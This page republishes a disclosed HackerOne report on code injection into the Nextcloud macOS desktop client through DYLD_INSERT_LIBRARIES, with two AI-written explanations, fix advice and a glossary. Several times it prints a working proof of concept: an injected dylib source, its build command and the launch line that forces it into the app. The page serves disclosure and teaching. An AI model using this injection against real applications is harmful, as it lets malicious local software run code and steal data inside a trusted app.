Skip to content
RCE Disclosed report Intermediate CVE-2020-8140

Code injection in macOS Desktop Client

The macOS desktop client honoured DYLD environment variables, so a malicious app running as the user could inject a dynamic library and execute code in the client's context, stealing resources or acting as the user.

r3ggi-on-h1 Follow

Originally disclosed on HackerOne

  • Triaged in 16 hours
  • Fixed in 8 months
  • Paid in 8 months
  • Disclosed after 9 months

Vulnerability description

I've identified a code injection vulnerability in your macOS desktop client. Any malicious application, running with standard user permissions is able to exploit this vulnerability and execute code in your application's context.

Requirements

In order to exploit this vulnerability, a victim has to have a malicious application installed on the device.

Proof of Concept

To show you the impact I've prepared a proof of concept where malicious application without root permissions is able to inject to Nextcloud process and open the calculator.

1. At first, create a malicious dylib (malicious.m) with following contents:

OBJC
#include <Foundation/Foundation.h>

__attribute__((constructor)) static void pwn() {
    
   puts("\n\nHELLO FROM THE DYLIB!\n\n");
    
   NSTask *task = [[NSTask alloc] init];
   task.launchPath = @"/Applications/Calculator.app/Contents/MacOS/Calculator";
   [task launch];
    
}

2. Compile it using gcc

Bash
gcc -dynamiclib -undefined suppress -flat_namespace malicious.m -o malicious.dylib -compatibility_version 10.10.10 -lobjc -framework Foundation

3. Inject the library using DYLD environment variable. (This is the easiest way to reproduce the vulnerability)

Bash
DYLD_FORCE_FLAT_NAMESPACE=1 DYLD_INSERT_LIBRARIES=./malicious.dylib /Applications/nextcloud.app/Contents/MacOS/nextcloud

4. Calculator should be opened as shown on attached screenshot

Recommendations

Assuming that the desktop client has been compiled using XCode, a developer needs to turn on "Hardened Runtime" capability making sure that Allow DYLD Environment Variables option is turned off. Another way to disallow the DYLD Environement variables is adding a _RESTRICTED segment to the application binary.

References

Privilege escalation in Keybase using this technique https://hackerone.com/reports/470003

Apple Docs - Hardened runtime entitlements https://developer.apple.com/documentation/security/hardened_runtime_entitlements

Important notes

  • Physical access is not required to exploit this vulnerability.
  • Applications do not need root permission to open other applications with DYLD_INSERT_LIBRARIES enviornment variable - execve documentation.

Impact

Code execution in the application's context. Any sensitive resource that may be accessed via the application may be stolen. Attacker is also able to perform any action that user may perform from the app.

Attachments

nextcloud.png
nextcloud.png From the original on HackerOne

The original report as published on HackerOne, by r3ggi-on-h1. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 4 min read.

Context

Nextcloud ships a macOS desktop client that users install to synchronise and access their files. Like any native application, the client runs in the user's own security context, so anything that can influence how its process starts can influence what it does. This report is about the macOS build of that desktop client and a code injection weakness in the way the binary is launched.

The researcher describes the issue as a code injection vulnerability: any malicious application running with standard user permissions can execute code in the Nextcloud client's context. The weakness is classified as Code Injection, the severity is low (CVSS 3.8), and the report was disclosed on 10 April 2020.

Setup

The precondition is simple and is stated plainly in the report: the victim has to have a malicious application installed on the device. No root permissions are needed by the attacker's application, and physical access is not required. The proof of concept was carried out on macOS against the installed client at /Applications/nextcloud.app, using gcc to build a dynamic library and the DYLD_INSERT_LIBRARIES environment variable to load it into the Nextcloud process.

Finding it

The researcher identified that the Nextcloud macOS client can be started with DYLD environment variables that cause an arbitrary dynamic library to be loaded into its process. Because the client does not restrict this, a library supplied by another application is executed inside Nextcloud's own context, with the same access to files and actions that the user has through the app.

The report frames the DYLD environment variable route as the easiest way to reproduce the vulnerability, which points at the underlying condition: the binary accepts DYLD environment variables at launch.

Exploitation

Step 1: create a malicious dylib

The researcher writes a small Objective-C source file, malicious.m, containing a constructor that runs automatically when the library is loaded:

OBJC
#include <Foundation/Foundation.h>

__attribute__((constructor)) static void pwn() {

   puts("\n\nHELLO FROM THE DYLIB!\n\n");

   NSTask *task = [[NSTask alloc] init];
   task.launchPath = @"/Applications/Calculator.app/Contents/MacOS/Calculator";
   [task launch];

}

The __attribute__((constructor)) marks pwn so that it executes as soon as the library is loaded, before any explicit call. The function prints a marker string and then launches the macOS Calculator through NSTask, which makes the injection visible on screen.

Step 2: compile the dylib

The library is built with gcc:

Bash
gcc -dynamiclib -undefined suppress -flat_namespace malicious.m -o malicious.dylib -compatibility_version 10.10.10 -lobjc -framework Foundation

This produces malicious.dylib. The flags build a dynamic library (-dynamiclib), suppress undefined symbol errors (-undefined suppress) and use a flat namespace (-flat_namespace), and link against libobjc and the Foundation framework so the Objective-C and NSTask code resolves.

Step 3: inject the library through DYLD

The researcher starts the Nextcloud client with the library forced into its process:

Bash
DYLD_FORCE_FLAT_NAMESPACE=1 DYLD_INSERT_LIBRARIES=./malicious.dylib /Applications/nextcloud.app/Contents/MacOS/nextcloud

DYLD_INSERT_LIBRARIES names the library to load into the process, and DYLD_FORCE_FLAT_NAMESPACE=1 makes the flat namespace apply so the injected library's symbols resolve as intended. The report notes this is the easiest way to reproduce the vulnerability.

Step 4: observe the result

With the library loaded, the constructor runs and the Calculator opens, as shown in the attached screenshot.

nextcloud.png
nextcloud.png From the original on HackerOne

The screenshot shows the Calculator launched as a result of the injected library executing inside the Nextcloud client's process.

Root cause

The client binary does not prevent DYLD environment variables from taking effect at launch. On macOS, DYLD_INSERT_LIBRARIES lets a process that starts another process specify libraries to load into it, and the report points to the execve documentation to make the point that applications do not need root permission to open other applications with that environment variable set. Because the Nextcloud client accepts the variable, a standard-permission application can cause its own code to run inside Nextcloud.

The report recommends enabling the Hardened Runtime restriction, which would block this.

Impact

The result is code execution in the application's context. The report states that any sensitive resource accessible through the application may be stolen, and that the attacker can perform any action the user may perform from the app. The conditions are explicit: the victim must have a malicious application installed, that application needs only standard user permissions, and physical access is not required.

Fix

The report recommends two approaches. Assuming the desktop client is compiled with Xcode, the developer should turn on the Hardened Runtime capability and make sure the Allow DYLD Environment Variables option is turned off. Alternatively, the DYLD environment variables can be disallowed by adding a _RESTRICTED segment to the application binary.

Variants to test

  1. Launch other macOS applications that accept DYLD environment variables with DYLD_INSERT_LIBRARIES pointing at a test library. A positive result is the library's constructor running inside the target process.
  2. Check whether a binary has the Hardened Runtime enabled and whether Allow DYLD Environment Variables is set. A positive result is a binary that loads an inserted library despite being expected to be hardened.
  3. Try the _RESTRICTED segment approach on a test binary and confirm that DYLD environment variables are then ignored. A positive result is the injected library failing to load.
  4. Test whether a non-root helper application can start the target with the DYLD variables set, as the report describes for execve. A positive result is code execution in the target without any elevated privileges.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 8 min read.

What happened, in plain words

Nextcloud makes a desktop app for macOS that people install so their files stay in sync between their computer and their Nextcloud account. Like any program you install, it runs with your own permissions: it can open the files you can open and do the things you can do through the app.

The researcher found that this app can be tricked into loading extra code at the moment it starts. A small malicious program, running with ordinary user permissions, can make the Nextcloud app load a library of the attacker's choosing. That library then runs inside Nextcloud itself, with all of Nextcloud's access.

This kind of problem is called code injection: someone manages to get their own code running inside another program's process. The report rates it low severity (CVSS 3.8) and it was disclosed on 10 April 2020.

The one condition is that the victim must already have the malicious application installed. The attacker's application does not need administrator (root) rights, and nobody needs physical access to the machine.

Background you need

A few ideas come up again and again below, so here they are from zero.

  • Process: a running program. When you double-click an app, the operating system starts a process for it, with its own memory and its own permissions.
  • Dynamic library (dylib): a file full of ready-made code that a program can load while it runs, instead of having all the code baked in. On macOS these files end in .dylib. Think of it as a plug-in module the program can pick up at start-up.
  • Environment variable: a named setting that the operating system passes to a program when it starts it. It is like a note handed to the program at the door: "here is where your temporary files go", "here is your language setting". Programs read these notes and change their behaviour accordingly.
  • DYLD: the part of macOS that loads a program and the libraries it needs. It reads special environment variables whose names start with DYLD_ to decide what to load.
  • DYLD_INSERT_LIBRARIES: a DYLD environment variable that says "also load these library files into the program". It exists for legitimate reasons, but if a program accepts it from whoever starts it, that whoever can slip in their own code.
  • Constructor: a function marked to run automatically as soon as a library is loaded, before anything else calls it. It is the code that runs "on arrival".
  • Root / standard user permissions: root is the all-powerful administrator account. A standard user is an ordinary account. The attack here needs only standard permissions.
  • Hardened Runtime: a macOS feature that lets a developer lock down what a program is allowed to do, including refusing DYLD environment variables. It is switched on when the app is built.

The setup

The precondition is stated plainly: the victim has to have a malicious application installed on the device. The attacker's application needs no root permissions, and physical access is not required.

The proof of concept was done on macOS against the installed client at /Applications/nextcloud.app, using gcc (a compiler, the tool that turns source code into a runnable file) to build a dynamic library, and the DYLD_INSERT_LIBRARIES environment variable to load it into the Nextcloud process.

Finding it

The researcher found that the Nextcloud macOS client can be started with DYLD environment variables that cause an arbitrary dynamic library to be loaded into its process. Because the client does not restrict this, a library supplied by another application runs inside Nextcloud's own context, with the same access to files and actions the user has through the app.

The report calls the DYLD environment variable route the easiest way to reproduce the vulnerability, which points at the underlying condition: the binary accepts DYLD environment variables at launch.

Exploitation

Step 1: create a malicious dylib

The researcher writes a small Objective-C source file, malicious.m, containing a constructor that runs automatically when the library is loaded:

OBJC
#include <Foundation/Foundation.h>

__attribute__((constructor)) static void pwn() {

   puts("\n\nHELLO FROM THE DYLIB!\n\n");

   NSTask *task = [[NSTask alloc] init];
   task.launchPath = @"/Applications/Calculator.app/Contents/MacOS/Calculator";
   [task launch];

}

Line by line:

  1. #include <Foundation/Foundation.h> pulls in Apple's Foundation library, which provides basic building blocks such as NSTask. Without it the compiler would not know what NSTask is.
  2. __attribute__((constructor)) static void pwn() { declares a function called pwn and marks it with the constructor attribute. That marking is the trick: the function runs by itself the moment the library is loaded, with no one calling it. static keeps it private to this file.
  3. puts("\n\nHELLO FROM THE DYLIB!\n\n"); prints a visible marker to the terminal, so you can see the injected code really ran. The \n sequences are line breaks.
  4. NSTask *task = [[NSTask alloc] init]; creates an NSTask object, which is macOS's way of starting another program from inside your own program.
  5. task.launchPath = @"/Applications/Calculator.app/Contents/MacOS/Calculator"; tells that task which program to run: the Calculator app.
  6. [task launch]; actually starts it. The Calculator appearing on screen is the visible proof that our code is executing inside Nextcloud.

Step 2: compile the dylib

The library is built with gcc:

Bash
gcc -dynamiclib -undefined suppress -flat_namespace malicious.m -o malicious.dylib -compatibility_version 10.10.10 -lobjc -framework Foundation

This produces malicious.dylib. What each part does:

  1. gcc is the compiler being invoked.
  2. -dynamiclib says "build a dynamic library", not a normal program.
  3. -undefined suppress tells the compiler not to complain about symbols it cannot find at build time; they will be looked up when the library is loaded.
  4. -flat_namespace makes all symbols share one flat lookup space, which is what lets the injected library resolve its references the way the next step expects.
  5. malicious.m is the source file from step 1.
  6. -o malicious.dylib names the output file.
  7. -compatibility_version 10.10.10 records a compatibility version in the library.
  8. -lobjc -framework Foundation links against the Objective-C runtime and the Foundation framework, so the Objective-C code and NSTask calls resolve.

Step 3: inject the library through DYLD

The researcher starts the Nextcloud client with the library forced into its process:

Bash
DYLD_FORCE_FLAT_NAMESPACE=1 DYLD_INSERT_LIBRARIES=./malicious.dylib /Applications/nextcloud.app/Contents/MacOS/nextcloud

What is happening here:

  1. DYLD_FORCE_FLAT_NAMESPACE=1 sets an environment variable that makes the flat namespace apply, so the injected library's symbols resolve as intended.
  2. DYLD_INSERT_LIBRARIES=./malicious.dylib sets the variable that names the library to load into the process: our file in the current directory.
  3. /Applications/nextcloud.app/Contents/MacOS/nextcloud is the actual Nextcloud program inside the app bundle. Running it directly, with those two variables set in front, starts Nextcloud with our library loaded.

The report notes this is the easiest way to reproduce the vulnerability.

Step 4: observe the result

With the library loaded, the constructor runs and the Calculator opens, as shown in the attached screenshot.

nextcloud.png
nextcloud.png From the original on HackerOne

The screenshot shows the Calculator launched as a result of the injected library executing inside the Nextcloud client's process.

Root cause

The client binary does not prevent DYLD environment variables from taking effect at launch. On macOS, DYLD_INSERT_LIBRARIES lets a process that starts another process specify libraries to load into it. The report points to the execve documentation to make the point that applications do not need root permission to open other applications with that environment variable set. Because the Nextcloud client accepts the variable, a standard-permission application can cause its own code to run inside Nextcloud.

The report recommends enabling the Hardened Runtime restriction, which would block this.

Impact

The result is code execution in the application's context. The report states that any sensitive resource accessible through the application may be stolen, and that the attacker can perform any action the user may perform from the app. The conditions are explicit: the victim must have a malicious application installed, that application needs only standard user permissions, and physical access is not required.

Fix

The report recommends two approaches. Assuming the desktop client is compiled with Xcode, the developer should turn on the Hardened Runtime capability and make sure the Allow DYLD Environment Variables option is turned off. Alternatively, the DYLD environment variables can be disallowed by adding a _RESTRICTED segment to the application binary.

Variants to test

  1. Launch other macOS applications that accept DYLD environment variables with DYLD_INSERT_LIBRARIES pointing at a test library. A positive result is the library's constructor running inside the target process.
  2. Check whether a binary has the Hardened Runtime enabled and whether Allow DYLD Environment Variables is set. A positive result is a binary that loads an inserted library despite being expected to be hardened.
  3. Try the _RESTRICTED segment approach on a test binary and confirm that DYLD environment variables are then ignored. A positive result is the injected library failing to load.
  4. Test whether a non-root helper application can start the target with the DYLD variables set, as the report describes for execve. A positive result is code execution in the target without any elevated privileges.

Glossary

  • Code injection: getting your own code to run inside another program's process.
  • Process: a running program, with its own memory and permissions.
  • Dynamic library (dylib): a file of ready-made code that a program loads while it runs; on macOS it ends in .dylib.
  • Environment variable: a named setting the operating system passes to a program when it starts it.
  • DYLD: the macOS component that loads a program and its libraries, and reads DYLD_ environment variables.
  • DYLD_INSERT_LIBRARIES: a DYLD variable that names extra libraries to load into a program.
  • DYLD_FORCE_FLAT_NAMESPACE: a DYLD variable that makes all symbols share one flat lookup space.
  • Constructor: a function that runs automatically as soon as a library is loaded.
  • Objective-C: the programming language used for the proof of concept, common in macOS software.
  • NSTask: an Apple Foundation class for starting another program from inside your own.
  • gcc: a compiler, the tool that turns source code into a runnable file.
  • Root permissions: the all-powerful administrator account on a Unix-like system.
  • Standard user permissions: an ordinary, non-administrator account.
  • execve: the system call that starts a program, passing it arguments and environment variables.
  • Hardened Runtime: a macOS feature that locks down what a program may do, including refusing DYLD environment variables.
  • _RESTRICTED segment: a section added to an application binary that disallows DYLD environment variables.
  • CVSS: a scoring system for the severity of a security issue; 3.8 is low.
  • Proof of concept (PoC): a small demonstration that shows a vulnerability is real.

More by r3ggi-on-h1

View all

1 more disclosed report, best first.

More from Nextcloud

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.